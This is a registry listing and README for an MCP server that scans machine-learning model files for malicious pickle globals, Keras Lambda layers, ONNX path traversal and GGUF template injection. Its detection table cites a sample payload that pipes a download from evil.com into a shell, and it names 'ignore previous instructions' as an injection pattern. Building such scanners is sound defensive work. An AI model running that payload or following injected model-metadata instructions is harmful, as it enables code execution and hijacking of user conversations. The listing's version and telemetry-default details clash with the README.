Model Scanner

io.github.4hmetuyar由 GitHub 帳號 4hmetuyar 發布v0.1.2更新於 Oct 24, 2026

Scans ML model files (PyTorch, safetensors, Keras, ONNX) for supply-chain risks

發布方自己的服務:model.tools — Zero-Auth Agent Utilities

已驗證STDIO僅桌面安全與監控AI 與機器學習

概覽

AI 產生的概覽

本機 MCP 伺服器,掃描 PyTorch、pickle、safetensors、Keras、ONNX 等機器學習模型檔案,找出供應鏈風險。

可以做什麼
掃描單一模型檔案並依嚴重程度回報發現,包括 pickle 指令引用的危險模組、偽裝成 safetensors 的檔案、Keras Lambda 層以及 ONNX external_data 路徑穿越。遞迴掃描目錄中的模型檔案,可設定檔案數量上限與排除項目。列出內建的危險全域物件目錄,依風險類別分組。發現結果皆為啟發式,需人工複核;掃描乾淨並不等於安全證明。
適用情境
適合在從 Hugging Face、模型倉庫或物件儲存下載檢查點後、載入前讓助理先檢查檔案,也適合把模型檔案掃描加入 CI 流程。
執行需求
透過 npx 從 npm 套件 @guardbee/mcp-model-scanner 以本機程序執行,需要 Node.js 以及取得該套件的網路存取。未宣告帳號、API 金鑰或請求標頭。可選擇透過 guardbee.yml 檔案進行設定。
安裝前請注意
預設會傳送使用遙測(工具名稱與簡短參數,不含檔案內容),可用 GUARDBEE_TELEMETRY=0 關閉。只掃描檔案本身,不檢查執行時行為,也不執行或沙箱隔離任何內容。涵蓋範圍有限:原始 pickle 串流僅掃描前 10MB,HDF5/ONNX 為樣式比對檢查,結果屬啟發式,應人工複核。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 Model Scanner,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Desktop only,透過 STDIO。 STDIO 服務會啟動本機處理程序,因此需要 SourceWeft 桌面主機。

其他 MCP 客戶端

參照 儲存庫 中的啟動說明。

README

@guardbee/mcp-model-scanner

🇬🇧 English | 🇹🇷 Türkçe | 🇨🇳 中文 | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇧🇷 Português | 🇪🇸 Español | 🇩🇪 Deutsch

[npm version] [npm downloads] [License: MIT]

An MCP (Model Context Protocol) server that scans ML model files for supply-chain risks — the file itself, not the code that loads it.

Most "AI security" tooling looks at your integration code or the prompts flowing through it. This package looks at the artifact you (or a teammate, or a pip install) downloaded from Hugging Face, a registry, or an S3 bucket — or at a Hugging Face repo directly, pinned to a commit. A .pt/.pth/.pkl/.joblib checkpoint is a pickle file, and unpickling isn't just data deserialization — it can call arbitrary Python code the moment the file is loaded (torch.load(), pickle.load(), etc). A malicious checkpoint is a real, well-documented attack vector, not a hypothetical one.

Telemetry is off by default. With GUARDBEE_TELEMETRY=1 it sends the server, tool, success, duration and short parameter values such as a file path; longer strings and fields like content, token or password are replaced with a placeholder. See @guardbee/mcp-telemetry.

Claude ──► model-scanner ──► Your model files              │              ├─ .pt / .pth / .ckpt   → PyTorch zip container: extract data.pkl, walk the pickle              ├─ .pkl / .pickle / .bin / .dill → raw pickle stream (dill gadgets included)              ├─ .joblib / .jbl       → pickle + the array bytes and nested pickles joblib embeds              ├─ .npy / .npz          → object arrays (pickled data), pickles disguised as NumPy              ├─ .safetensors         → header structure + disguised-binary check              ├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE (HDF5 and Keras 3 zip)              ├─ .onnx                → external_data path-traversal heuristic              ├─ .gguf                → header/tensor bounds, chat-template SSTI and injected text              ├─ saved_model.pb / .pb / .pbtxt / .tflite → graph ops that touch files or Python              └─ hf://owner/repo@rev  → every model file of a Hugging Face repo at one commit

Why pickle is the core of this

Pickle streams are bytecode for a tiny stack VM. A GLOBAL/STACK_GLOBAL opcode names any importable Python object; the very next opcodes typically call it. There is nothing stopping a crafted pickle from naming os.system or subprocess.Popen instead of a tensor-rebuilding function — and pickle.load()/torch.load() will happily resolve and invoke it. This is the same technique tools like picklescan/fickling/Hugging Face's Picklescan integration are built around.

This package implements a from-scratch pickle machine (protocols 0–5) rather than shelling out to Python or using a regex. It walks the opcode stream byte by byte and tracks the stack and memo without calling anything, so a protocol 4+ STACK_GLOBAL resolves to the module and name actually on the stack, including strings fetched back from the memo, as NumPy 2 pickles do. A regex over raw bytes would both miss and misfire constantly.

joblib needs the same machine: joblib.dump writes each NumPy array's raw bytes (or, for object arrays, a whole nested pickle) right after the array's NumpyArrayWrapper. The scanner reads the wrapper's shape and dtype from the stack, skips exactly that many bytes, and checks the nested pickles too.

Every GLOBAL/STACK_GLOBAL/INST reference found is checked against:

  • a denylist of modules with no legitimate reason to appear in a tensor deserialization path (os, subprocess, socket, builtins.eval, ctypes, …) → reported as critical/high
  • an allowlist of the modules real ML frameworks actually reference (numpy, torch, sklearn, collections, …) → silently safe, no noise
  • anything else → reported as medium ("unknown", not "malicious" — for manual review, keeping the false-positive rate low)

For PyTorch's default zip-based checkpoint format, the scanner reads the ZIP central directory directly off disk (with Zip64 support) to locate and extract just the small data.pkl metadata entry — it never loads a multi-gigabyte checkpoint fully into memory.


Features

  • Real pickle parsing — a stack-tracking pickle machine, not a regex, not a Python subprocess call
  • 44 dangerous-global rules across 6 risk categories (code-execution, process-execution, network, filesystem, reflection, deserialization), including dill's code-object and import gadgets
  • PyTorch zip container support (including Zip64) — extracts and scans data.pkl without loading the full checkpoint
  • joblib — walks past embedded arrays to every pickle opcode in the file, nested object-array pickles included; zlib/gzip dumps are decompressed
  • NumPy .npy/.npz — object arrays (stored as a pickle, loaded with allow_pickle=True) and plain pickles renamed to a NumPy extension
  • .safetensors structural validation — malformed/out-of-bounds headers, and detection of a pickle/zip disguised with a .safetensors extension
  • Keras Lambda-layer RCE — in .h5, Keras 3 .keras zips and SavedModel keras_metadata.pb
  • ONNX external_data path-traversal heuristic
  • GGUF — header counts, string and array lengths, tensor dimensions, types and data bounds checked against the file; chat templates checked for Jinja sandbox escapes, hidden characters and instructions aimed at the model
  • TensorFlow — SavedModel, frozen GraphDef (.pb/.pbtxt) and TFLite Flex ops that read or write files, call Python or send tensors to a debug URL
  • Hugging Face repos — scan_hf_repo / scan hf://owner/repo@revision resolves the revision to a commit and scans every model file from it
  • Bounded reads everywhere (10MB pickle prefix, 100MB safetensors header cap, 50MB zip-entry cap, GGUF and joblib read through a 4MB window) — safe against decompression bombs and won't OOM on huge model files
  • SARIF 2.1.0 output — CI/CD integration (GitHub Code Scanning, etc.)
  • Config file support via guardbee.yml
  • 82 unit tests with malicious and benign fixtures for every format, plus a false-positive check against popular public models

Quick Start

Claude Desktop / MCP Client

json
{  "mcpServers": {    "guardbee-model-scanner": {      "command": "npx",      "args": ["-y", "@guardbee/mcp-model-scanner"]    }  }}

CLI (CI/CD)

bash
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif
# A Hugging Face model repo at a pinned commit (branch, tag or sha; HF_TOKEN for gated/private repos)npx @guardbee/mcp-model-scanner scan hf://openai-community/gpt2@607a30d783dfa663caf39e06633721c8d4cfcd7e

In repo mode the revision is resolved to a commit sha and every file is read from that commit, so the result describes a fixed snapshot; findings point at hf://owner/repo@sha/path. Files up to 256 MB are downloaded whole. Larger ones are checked from their first 64 MB, plus the last 64 MB for zip containers (the central directory), which holds every header, pickle stream and tensor table the checks read.


MCP Tools

ToolDescription
scan_fileScans a single model file
scan_directoryRecursively scans a directory of model files (a SavedModel through its saved_model.pb)
scan_hf_repoScans every model file of a Hugging Face model repo at a pinned commit
list_patternsLists the dangerous-global catalog by risk category, and the TensorFlow ops checked

What it catches

FormatCheckSeverityExample
pickle / PyTorchReference to os, posix, nt, subprocess, socket, ctypes, runpy, pty.spawn, platform.popen, commandscriticalos.system('curl evil.com/x | sh')
pickle / PyTorchbuiltins.eval/exec/compile/__import__, pickle.loads, marshal.loadscriticalrecursive/nested payload, or a direct eval
pickle / PyTorchbuiltins.getattr/open, shutil.*, importlib.*, requests.*, webbrowser.open, urllib*.urlopenhighexfiltration, SSRF, file read/write
safetensorsHeader starts with a pickle/zip signature instead of a lengthcriticala .pkl renamed to .safetensors
safetensorsTensor data_offsets exceed the actual data sectionhigha parser reading out-of-bounds
safetensorsInvalid/oversized header length, non-JSON headerhighcorrupt or adversarially crafted header
Keras .h5/.keras/SavedModelclass_name: "Lambda" in the model configcriticalmarshalled-function RCE on load
ONNXexternal_data location containing ..highpath traversal to an arbitrary file
dilldill._dill._create_code/_create_function/_eval_reprcriticala function rebuilt from bytecode and called during load
dilldill._dill._import_module/_get_attr/_create_filehandlehighreaching os.system without naming os
joblibany of the pickle rules, in the main stream or a nested object-array pickleas the rulea payload hidden after a real array
NumPyobject dtype; a pickle with a .npy extensionmedium / highnp.load(..., allow_pickle=True) unpickles it
GGUFchat template reaching Python internals (__class__, __globals__, …)criticalJinja sandbox escape (CVE-2024-34359)
GGUFhidden Unicode or "ignore previous instructions"-style text in metadatahighinstructions injected into every conversation
GGUFcounts, lengths, dimensions or tensor bounds inconsistent with the filehighheap overflow in an unpatched loader
TensorFlowWriteFile / ReadFile / PyFunc / file datasets / PrintV2 to file://critical–mediuma graph that touches the serving host

Full dangerous-global catalog: run the list_patterns tool, or see src/dangerousGlobals.ts.

Rule IDs added in 0.4

Rule IDSeverity
pickle_dangerous_global_dill__dill_*, pickle_dangerous_global_dill_dill_*critical / high
joblib_partial_scan, joblib_compressed_unsupported, joblib_compressed_too_large, joblib_decompress_failed, joblib_unrecognizedlow / medium
numpy_object_arraymedium
numpy_disguised_picklehigh
numpy_bad_header, numpy_npz_unreadablemedium
numpy_npz_entry_unreadable, numpy_npz_partial_scanlow
gguf_chat_template_ssticritical
gguf_metadata_injected_instructions, gguf_metadata_hidden_characters, gguf_malformed_header, gguf_tensor_out_of_bounds, gguf_bad_magichigh
gguf_duplicate_tensor, gguf_tensor_misalignedmedium
gguf_chat_template_url, gguf_unknown_tensor_type, gguf_not_parsedlow
tf_op_writefilecritical
tf_op_readfile, tf_op_pyfunc, tf_op_pyfuncstateless, tf_op_eagerpyfunchigh
tf_op_matchingfiles, tf_op_immutableconst, tf_op_*dataset*, tf_op_printv2, tf_op_debug*medium
tf_saved_model_malformed, tflite_bad_identifier, keras_config_unreadablemedium
tf_graph_too_largelow

SARIF output keeps its shape: each rule ID becomes a rules[] entry as before.

Checked against public models

Scanned with scan hf://… on 2026-10-30. Every finding on these repos is listed; none is a false positive. The low "partial scan" notes come from files larger than the 10 MB prefix the pickle, H5 and ONNX checks read.

Repo @ commitFormatsFindings
openai-community/gpt2@607a30dPyTorch (legacy pickle), safetensors, H5, ONNX, TFLite5 low partial-scan notes
google-bert/bert-base-uncased@86b5e09PyTorch, safetensors, H5, ONNX3 low partial-scan notes
sentence-transformers/all-MiniLM-L6-v2@1110a24PyTorch, safetensors, H5, 9 ONNX variants10 low partial-scan notes
Qwen/Qwen2.5-0.5B-Instruct-GGUF@9217f5dGGUF (9 quantizations incl. fp16, K-quants)none
bartowski/Llama-3.2-1B-Instruct-GGUF@067b946GGUF (18 quantizations incl. IQ types)3 low notes: tensor types 31–33, removed from ggml
microsoft/Phi-3-mini-4k-instruct-gguf@a641133GGUFnone
keras-io/ocr-for-captcha@1d695c4SavedModel + keras_metadata.pbnone
keras-io/timeseries-anomaly-detection@5712601SavedModel; profiler .pb files skipped as non-graphsnone
suno/bark-small@1dbd7a1PyTorch, 783 .npy speaker promptsnone
julien-c/wine-quality@90ef3b7scikit-learn joblibnone
mcpotato/42-eicar-street@8fb61c4Hugging Face's malicious-pickle test repomodel_broken_X.pkl: critical builtins.exec (the only payload with a model extension)

These are heuristic findings tuned for a low false-positive rate — HDF5 and ONNX in particular are complex binary/protobuf formats scanned via a bounded text-pattern search rather than a full structural parse. Every finding should still be reviewed; a clean scan is not a formal safety proof.


Configuration (guardbee.yml)

yaml
model-scanner:  fail-on: high       # any | critical | high | medium | low | none  max-files: 2000  exclude:    - "fixtures/"

Limitations (by design)

  • Only the first 10MB of a raw (non-zip) pickle stream is scanned (joblib files are walked to the end) — dangerous globals must be referenced before their instances in a pickle stream, so this bound is a reasonable trade-off against loading huge legacy checkpoints fully into memory.
  • ZIP extraction supports STORED and DEFLATE only (covers the default PyTorch checkpoint format).
  • HDF5/ONNX checks are pattern-based on a bounded prefix, not a full structural/protobuf parse.
  • joblib files compressed with bz2, xz, lzma or lz4 are reported, not decompressed. GGUF v1 and big-endian GGUF files are reported, not parsed.
  • TFLite checks look for Flex delegate op names; builtin TFLite ops are tensor math only.
  • GGUF instruction checks look for common injection phrasing and hidden characters; a carefully worded instruction can still pass. Read the chat template of a model you did not build.
  • This scans the file, not runtime behavior — it does not execute or sandbox anything.

Development

bash
npm run buildnpm test             # 82 unit tests

License

MIT — GuardBee

Feedback

Questions, ideas, or a false positive? Start a thread in GitHub Discussions or open an issue. If GuardBee is useful to you, a ⭐ on the repository helps others find it.

來源:packages/model-scanner/README.md,提交 fe7dc3a

工具

0
SourceWeft 尚未在沙箱中啟動過該軟體包,因此其工具未知。

版本歷史

1
  1. v0.1.2最新Sep 29, 2026

評分

已滿足適用檢查項的 50%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通25 分

    請保持端點能夠回應 MCP 握手;SourceWeft 每 30 天探測一次。

  • 已宣告認證方式10 分

    請在註冊中心條目中宣告憑證請求標頭,或保持端點能夠回應探測,以便判定其認證方式。

  • 已列出工具15 分

    請讓伺服器在無憑證時回應 tools/list,或發布可在沙箱中無憑證啟動的軟體包。

  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分

其他 Model 整合